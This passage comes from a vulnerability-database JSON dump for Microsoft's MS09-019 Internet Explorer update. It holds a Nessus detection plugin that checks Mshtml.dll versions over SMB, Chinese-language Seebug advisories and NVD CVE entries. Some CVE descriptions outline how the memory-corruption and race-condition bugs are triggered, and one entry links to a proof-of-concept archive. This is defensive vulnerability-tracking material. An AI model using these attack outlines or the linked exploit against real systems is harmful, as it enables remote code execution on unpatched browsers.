script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS09-019';\nkb = \"969897\";\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(win2k:'4,5', xp:'2,3', win2003:'2', vista:'0,2') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\nif (hotfix_check_server_core() == 1) audit(AUDIT_WIN_SERVER_CORE);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n # Vista / Windows 2008\n hotfix_is_vulnerable(os:\"6.0\", file:\"Mshtml.dll\", version:\"8.0.6001.22874\", min_version:\"8.0.6001.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", file:\"Mshtml.dll\", version:\"8.0.6001.18783\", min_version:\"8.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"Mshtml.dll\", version:\"7.0.6002.22121\", min_version:\"7.0.6002.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"Mshtml.dll\", version:\"7.0.6002.18024\", min_version:\"7.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:1, file:\"Mshtml.dll\", version:\"7.0.6001.22418\", min_version:\"7.0.6001.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:1, file:\"Mshtml.dll\", version:\"7.0.6001.18248\", min_version:\"7.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:0, file:\"Mshtml.dll\", version:\"7.0.6000.21046\", min_version:\"7.0.6000.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:0, file:\"Mshtml.dll\", version:\"7.0.6000.16851\", min_version:\"7.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n\n # Windows 2003\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"Mshtml.dll\", version:\"8.0.6001.22873\", min_version:\"8.0.6001.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"Mshtml.dll\", version:\"8.0.6001.18783\", min_version:\"8.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"Mshtml.dll\", version:\"7.0.6000.21045\", min_version:\"7.0.6000.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"Mshtml.dll\", version:\"7.0.6000.16850\", min_version:\"7.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"Mshtml.dll\", version:\"6.0.3790.4504\", min_version:\"6.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n\n # Windows XP\n hotfix_is_vulnerable(os:\"5.1\", sp:3, arch:\"x86\", file:\"Mshtml.dll\", version:\"8.0.6001.22873\", min_version:\"8.0.6001.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:3, arch:\"x86\", file:\"Mshtml.dll\", version:\"8.0.6001.18783\", min_version:\"8.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:2, arch:\"x64\", file:\"Mshtml.dll\", version:\"8.0.6001.22873\", min_version:\"8.0.6001.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:2, arch:\"x64\", file:\"Mshtml.dll\", version:\"8.0.6001.18783\", min_version:\"8.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:3, file:\"Mshtml.dll\", version:\"7.0.6000.21045\", min_version:\"7.0.6000.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:3, file:\"Mshtml.dll\", version:\"7.0.6000.16850\", min_version:\"7.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:3, file:\"Mshtml.dll\", version:\"6.0.2900.5803\", min_version:\"6.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:2, file:\"Mshtml.dll\", version:\"7.0.6000.16850\", min_version:\"7.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:2, file:\"Mshtml.dll\", version:\"6.0.2900.3562\", min_version:\"6.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n\n # Windows 2000\n hotfix_is_vulnerable(os:\"5.0\", file:\"Msrating.dll\", version:\"6.0.2800.1972\", min_version:\"6.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Mshtml.dll\", version:\"5.0.3877.2200\", min_version:\"5.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "seebug": [{"lastseen": "2017-11-19T18:47:59", "description": "BUGTRAQ ID: 35198,35222,35223,35224,35234,35235\r\nCVE(CAN) ID: CVE-2009-1141,CVE-2009-1528,CVE-2009-1529,CVE-2009-1530,CVE-2009-1531,CVE-2009-1532\r\n\r\nInternet Explorer\u662fWindows\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u9ed8\u8ba4\u6346\u7ed1\u7684WEB\u6d4f\u89c8\u5668\u3002\r\n\r\nInternet Explorer\u5728\u89e3\u6790\u7f51\u9875\u4e2d\u7684DHTML\u548cHTML\u5bf9\u8c61\u65f6\u5b58\u5728\u591a\u4e2a\u5185\u5b58\u7834\u574f\u548c\u672a\u521d\u59cb\u5316\u6216\u5df2\u5220\u9664\u5bf9\u8c61\u8bbf\u95ee\u6f0f\u6d1e\u3002\u5982\u679c\u7528\u6237\u53d7\u9a97\u8bbf\u95ee\u4e86\u6076\u610f\u7f51\u9875\uff0c\u5c31\u53ef\u80fd\u5bfc\u81f4\u62d2\u7edd\u670d\u52a1\u6216\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\r\n\n\nMicrosoft Internet Explorer 8.0\r\nMicrosoft Internet Explorer 7.0\r\nMicrosoft Internet Explorer 6.0 SP1\r\nMicrosoft Internet Explorer 6.0\r\nMicrosoft Internet Explorer 5.0.1 SP4\n \u4e34\u65f6\u89e3\u51b3\u65b9\u6cd5\uff1a\r\n\r\n* \u5c06Internet Explorer\u914d\u7f6e\u4e3a\u5728Internet\u548c\u672c\u5730Intranet\u5b89\u5168\u533a\u57df\u4e2d\u8fd0\u884cActiveX\u63a7\u4ef6\u4e4b\u524d\u8fdb\u884c\u63d0\u793a\u3002\r\n* \u5c06Internet \u548c\u672c\u5730Intranet\u5b89\u5168\u533a\u57df\u8bbe\u7f6e\u8bbe\u4e3a\u201c\u9ad8\u201d\uff0c\u4ee5\u4fbf\u5728\u8fd9\u4e9b\u533a\u57df\u4e2d\u8fd0\u884cActiveX\u63a7\u4ef6\u548c\u6d3b\u52a8\u811a\u672c\u4e4b\u524d\u8fdb\u884c\u63d0\u793a\u3002\r\n\r\n\u5382\u5546\u8865\u4e01\uff1a\r\n\r\nMicrosoft\r\n---------\r\nMicrosoft\u5df2\u7ecf\u4e3a\u6b64\u53d1\u5e03\u4e86\u4e00\u4e2a\u5b89\u5168\u516c\u544a\uff08MS09-019\uff09\u4ee5\u53ca\u76f8\u5e94\u8865\u4e01:\r\nMS09-019\uff1aCumulative Security Update for Internet Explorer (969897)\r\n\u94fe\u63a5\uff1a<a href=\"http://www.microsoft.com/technet/security/Bulletin/MS09-019.mspx?pf=true\" target=\"_blank\" rel=external nofollow>http://www.microsoft.com/technet/security/Bulletin/MS09-019.mspx?pf=true</a>", "published": "2009-06-11T00:00:00", "type": "seebug", "title": "Microsoft IE DHTML\u548cHTML\u5bf9\u8c61\u591a\u4e2a\u5185\u5b58\u7834\u574f\u6f0f\u6d1e(MS09-019)", "bulletinFamily": "exploit", "cvelist": ["CVE-2009-1141", "CVE-2009-1528", "CVE-2009-1529", "CVE-2009-1530", "CVE-2009-1531", "CVE-2009-1532"], "modified": "2009-06-11T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-11589", "id": "SSV:11589", "sourceData": "", "sourceHref": "", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-11-19T18:47:58", "description": "BUGTRAQ ID: 35200\r\nCVE(CAN) ID: CVE-2009-1140\r\n\r\nInternet Explorer\u662fWindows\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u9ed8\u8ba4\u6346\u7ed1\u7684WEB\u6d4f\u89c8\u5668\u3002\r\n\r\nInternet Explorer\u7f13\u5b58\u6570\u636e\u7684\u65b9\u5f0f\u5b58\u5728\u4e00\u4e2a\u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e\uff0c\u53ef\u9519\u8bef\u5730\u5141\u8bb8\u8c03\u7528\u7f13\u5b58\u5185\u5bb9\uff0c\u4ece\u800c\u7ed5\u8fc7Internet Explorer\u533a\u57df\u9650\u5236\u3002\r\n\r\nInternet Explorer\u63d0\u4f9b\u4e86URL\u5b89\u5168\u533a\u57df\u529f\u80fd\uff0c\u6839\u636e\u53ef\u4fe1\u4efb\u7a0b\u5ea6\u5bf9\u7f51\u7ad9\u548c\u5e94\u7528\u5b9a\u4e49\u4e86\u4e0d\u540c\u7684\u6743\u9650\u7ec4\u3002\u9ed8\u8ba4\u4e0b\uff0c\u6240\u6709\u4e0d\u5728\u201c\u672c\u5730Intranet\u201d\u533a\u4e2d\u4e14\u6ca1\u6709\u660e\u786e\u5728 \u201c\u53d7\u9650\u7ad9\u70b9\u201d\u6216\u201c\u53ef\u4fe1\u7ad9\u70b9\u201d\u4e2d\u6240\u5217\u51fa\u7684\u7ad9\u70b9\u90fd\u5206\u914d\u5230\u4e86Internet\u533a\u57df\u4e2d\uff0c\u9ed8\u8ba4\u7684\u5b89\u5168\u533a\u8bbe\u7f6e\u4e3a\u201c\u4e2d-\u9ad8\u201d\u3002\r\n\r\n\u5982\u679c\u4ee5UNC\u5f62\u5f0f\u6307\u5b9a\u4e86URI\uff08\u5982\\\\MACHINE_NAME_OR_IP\\PATH_TO_RESOURCE\uff09\u7684\u8bdd\uff0cIE\u5f3a\u5236\u533a\u57df\u5b89\u5168\u7b56\u7565\u7684\u65b9\u5f0f\u5b58\u5728\u4e00\u4e9b\u95ee\u9898\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0cIE\u5c06\u4efb\u4f55\u6307\u5411IP\u5730\u5740\uff08\u5305\u62ec127.0.0.1\uff09\u7684UNC\u5730\u5740\u5f52\u7c7b\u4e3aInternet\u533a\uff0c\u56e0\u6b64\uff0c\u5c5e\u4e8e\u4efb\u4f55\u5b89\u5168\u533a\u57df\u7684\u4efb\u610f\u7f51\u7ad9\u53ef\u4ee5\u5c06\u5bfc\u822a\u6d41\u91cd\u65b0\u5b9a\u5411\u5230\\\\127.0.0.1\u4e0a\u6240\u5b58\u50a8\u7684\u6587\u4ef6\u3002\r\n\r\n\u5982\u679c\u63a7\u5236\u4e86\u7f51\u7ad9\u7684\u653b\u51fb\u8005\u80fd\u591f\u8bbe\u6cd5\u5728\u7528\u6237\u7684\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u4e0a\u5b58\u50a8\u5305\u542b\u6709\u811a\u672c\u4ee3\u7801\u7684HTML\uff0c\u7136\u540e\u5c06\u6d4f\u89c8\u5668\u91cd\u65b0\u5b9a\u5411\u5230\u8be5\u672c\u5730\u6587\u4ef6\uff08\\\\127.0.0.1 \\full_file_name\uff09\uff0c\u5c31\u4f1a\u4ee5Internet\u5b89\u5168\u533a\u73af\u5883\u52a0\u8f7d\u5e76\u5448\u73b0\u8fd9\u4e9b\u4ee3\u7801\u3002\u4f46\u7531\u4e8e\u5305\u542b\u6709\u4ee3\u7801\u7684\u6587\u4ef6\u50a8\u5b58\u5728\\\\127.0.0.1\u4e0a\uff0c\u56e0\u6b64\u8fd8\u53ef\u4ee5\u8bbf\u95ee\u7528\u6237\u6587\u4ef6\u7cfb\u7edf\u4e0a\u7684\u4efb\u610f\u5176\u4ed6\u6587\u4ef6\u3002\n\nMicrosoft Internet Explorer 7.0\r\nMicrosoft Internet Explorer 6.0 SP1\r\nMicrosoft Internet Explorer 6.0\r\nMicrosoft Internet Explorer 5.0.1 SP4\n \u4e34\u65f6\u89e3\u51b3\u65b9\u6cd5\uff1a\r\n\r\n* \u5c06Internet Explorer\u914d\u7f6e\u4e3a\u5728Internet\u548c\u672c\u5730Intranet\u5b89\u5168\u533a\u57df\u4e2d\u8fd0\u884cActiveX\u63a7\u4ef6\u4e4b\u524d\u8fdb\u884c\u63d0\u793a\u3002\r\n* \u5c06Internet \u548c\u672c\u5730Intranet\u5b89\u5168\u533a\u57df\u8bbe\u7f6e\u8bbe\u4e3a\u201c\u9ad8\u201d\uff0c\u4ee5\u4fbf\u5728\u8fd9\u4e9b\u533a\u57df\u4e2d\u8fd0\u884cActiveX\u63a7\u4ef6\u548c\u6d3b\u52a8\u811a\u672c\u4e4b\u524d\u8fdb\u884c\u63d0\u793a\u3002\r\n\r\n\u5382\u5546\u8865\u4e01\uff1a\r\n\r\nMicrosoft\r\n---------\r\nMicrosoft\u5df2\u7ecf\u4e3a\u6b64\u53d1\u5e03\u4e86\u4e00\u4e2a\u5b89\u5168\u516c\u544a\uff08MS09-018\uff09\u4ee5\u53ca\u76f8\u5e94\u8865\u4e01:\r\nMS09-018\uff1aVulnerabilities in Active Directory Could Allow Remote Code Execution (971055)\r\n\u94fe\u63a5\uff1a<a href=\"http://www.microsoft.com/technet/security/Bulletin/MS09-018.mspx?pf=true\" target=\"_blank\" rel=external nofollow>http://www.microsoft.com/technet/security/Bulletin/MS09-018.mspx?pf=true</a>", "published": "2009-06-11T00:00:00", "type": "seebug", "title": "Microsoft IE\u7f13\u5b58\u5185\u5bb9\u8de8\u57df\u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e(MS09-019)", "bulletinFamily": "exploit", "cvelist": ["CVE-2009-1140"], "modified": "2009-06-11T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-11591", "id": "SSV:11591", "sourceData": "\n http://www.coresecurity.com/files/attachments/PoC-CORE-2008-0826.zip\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-11591", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:NONE/A:NONE/"}}], "cve": [{"lastseen": "2020-10-03T11:45:52", "description": "Race condition in Microsoft Internet Explorer 6 SP1; 6 and 7 for Windows XP SP2 and SP3; 6 and 7 for Server 2003 SP2; 7 for Vista Gold, SP1, and SP2; and 7 for Server 2008 SP2 allows remote attackers to execute arbitrary code or perform other actions upon a page transition, with the permissions of the old page and the content of the new page, as demonstrated by setInterval functions that set location.href within a try/catch expression, aka the \"bait & switch vulnerability\" or \"Race Condition Cross-Domain Information Disclosure Vulnerability.\"", "edition": 3, "cvss3": {}, "published": "2007-06-06T21:30:00", "title": "CVE-2007-3091", "type": "cve", "cwe": ["CWE-362"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.1, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-3091"], "modified": "2018-10-30T16:25:00", "cpe": ["cpe:/o:microsoft:windows_2003_server:sp2", "cpe:/o:microsoft:windows_vista:-", "cpe:/a:microsoft:ie:6", "cpe:/a:microsoft:ie:7.0", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_vista:*", "cpe:/o:microsoft:windows_2000:*", "cpe:/o:microsoft:windows_2003_server:sp1", "cpe:/o:microsoft:windows_xp:*"], "id": "CVE-2007-3091", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-3091", "cvss": {"score": 7.1, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_2003_server:sp1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp1:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:sp1:x64:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:6:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:professional:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:x86:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:-:-:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:-:x32:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:itanium:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:6:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp4:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:-:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp1:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:-:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:itanium:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:-:sp2:*:*:*:*:*:*"]}, {"lastseen": "2020-10-03T11:54:13", "description": "Microsoft Internet Explorer 6 and 7 for Windows XP SP2 and SP3; 6 and 7 for Server 2003 SP2; 7 for Vista Gold, SP1, and SP2; and 7 for Server 2008 SP2 does not properly synchronize AJAX requests, which allows allows remote attackers to execute arbitrary code via a large number of concurrent, asynchronous XMLHttpRequest calls, aka \"HTML Object Memory Corruption Vulnerability.\"", "edition": 3, "cvss3": {}, "published": "2009-06-10T18:30:00", "title": "CVE-2009-1528", "type": "cve", "cwe": ["CWE-399"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-1528"], "modified": "2019-02-26T14:04:00", "cpe": ["cpe:/a:microsoft:ie:6", "cpe:/a:microsoft:ie:7"], "id": "CVE-2009-1528", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1528", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:ie:6:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:7:*:*:*:*:*:*:*"]}, {"lastseen": "2020-10-03T11:54:13", "description": "Microsoft Internet Explorer 8 for Windows XP SP2 and SP3; 8 for Server 2003 SP2; 8 for Vista Gold, SP1, and SP2; and 8 for Server 2008 SP2 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code via \"malformed row property references\" that trigger an access of an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka \"HTML Objects Memory Corruption Vulnerability\" or \"HTML Object Memory Corruption Vulnerability.\"", "edition": 3, "cvss3": {}, "published": "2009-06-10T18:30:00", "title": "CVE-2009-1532", "type": "cve", "cwe": ["CWE-399"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-1532"], "modified": "2019-02-26T14:04:00", "cpe": ["cpe:/a:microsoft:ie:8"], "id": "CVE-2009-1532", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1532", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:ie:8:*:*:*:*:*:*:*"]}, {"lastseen": "2020-10-03T11:54:13", "description": "Microsoft Internet Explorer 7 for Windows XP SP2 and SP3; 7 for Server 2003 SP2; 7 for Vista Gold, SP1, and SP2; and 7 for Server 2008 SP2 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by calling the setCapture method on a collection of crafted objects, aka \"Uninitialized Memory Corruption Vulnerability.\"", "edition": 3, "cvss3": {}, "published": "2009-06-10T18:30:00", "title": "CVE-2009-1529", "type": "cve", "cwe": ["CWE-399"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": true, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-1529"], "modified": "2019-02-26T14:04:00", "cpe": ["cpe:/a:microsoft:ie:6", "cpe:/a:microsoft:ie:8", "cpe:/a:microsoft:ie:5.01", "cpe:/a:microsoft:ie:7"], "id": "CVE-2009-1529", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1529", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:ie:6:sp1:*:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:5.01:sp4:*:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:5.01:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:6:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:8:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:7:*:*:*:*:*:*:*"]}, {"lastseen": "2020-10-03T11:54:12", "description": "Microsoft Internet Explorer 6 for Windows XP SP2 and SP3 and Server 2003 SP2 allows remote attackers to execute arbitrary code via unspecified DHTML function calls related to a tr element and the \"insertion, deletion and attributes of a table cell,\" which trigger memory corruption when the window is destroyed, aka \"DHTML Object Memory Corruption Vulnerability.\"", "edition": 3, "cvss3": {}, "published": "2009-06-10T18:30:00", "title": "CVE-2009-1141", "type": "cve", "cwe": ["CWE-399"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-1141"], "modified": "2019-02-26T14:04:00", "cpe": ["cpe:/a:microsoft:ie:6"], "id": "CVE-2009-1141", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1141", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:ie:6:*:*:*:*:*:*:*"]}, {"lastseen": "2020-10-03T11:54:13", "description": "Use-after-free vulnerability in Microsoft Internet Explorer 7 for Windows XP SP2 and SP3; 7 for Server 2003 SP2; 7 for Vista Gold, SP1, and SP2; and 7 for Server 2008 SP2 allows remote attackers to execute arbitrary code by repeatedly adding HTML document nodes and calling event handlers, which triggers an access of an object that (1) was not properly initialized or (2) is deleted, aka \"HTML Objects Memory Corruption Vulnerability.\"", "edition": 3, "cvss3": {}, "published": "2009-06-10T18:30:00", "title": "CVE-2009-1530", "type": "cve", "cwe": ["CWE-399"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": true, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-1530"], "modified": "2019-02-26T14:04:00", "cpe": ["cpe:/a:microsoft:ie:8", "cpe:/a:microsoft:internet_explorer:7", "cpe:/a:microsoft:ie:5.01", "cpe:/a:microsoft:internet_explorer:6"], "id": "CVE-2009-1530", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1530", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:ie:5.01:sp4:*:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:5.01:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:internet_explorer:7:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:8:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:internet_explorer:6:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:internet_explorer:6:sp1:*:*:*:*:*:*"]}, {"lastseen": "2020-10-03T11:54:12", "description": "Microsoft Internet Explorer 5.01 SP4; 6 SP1; 6 and 7 for Windows XP SP2 and SP3; 6 and 7 for Server 2003 SP2; 7 for Vista Gold, SP1, and SP2; and 7 for Server 2008 SP2 does not prevent HTML rendering of cached content, which allows remote attackers to bypass the Same Origin Policy via unspecified vectors, aka \"Cross-Domain Information Disclosure Vulnerability.\"", "edition": 3, "cvss3": {}, "published": "2009-06-10T18:30:00", "title": "CVE-2009-1140", "type": "cve", "cwe": ["CWE-200"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.1, "vectorString": "AV:N/AC:M/Au:N/C:C/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-1140"], "modified": "2019-02-26T14:04:00", "cpe": ["cpe:/a:microsoft:ie:6", "cpe:/a:microsoft:ie:5.01", "cpe:/a:microsoft:ie:7"], "id": "CVE-2009-1140", "href": 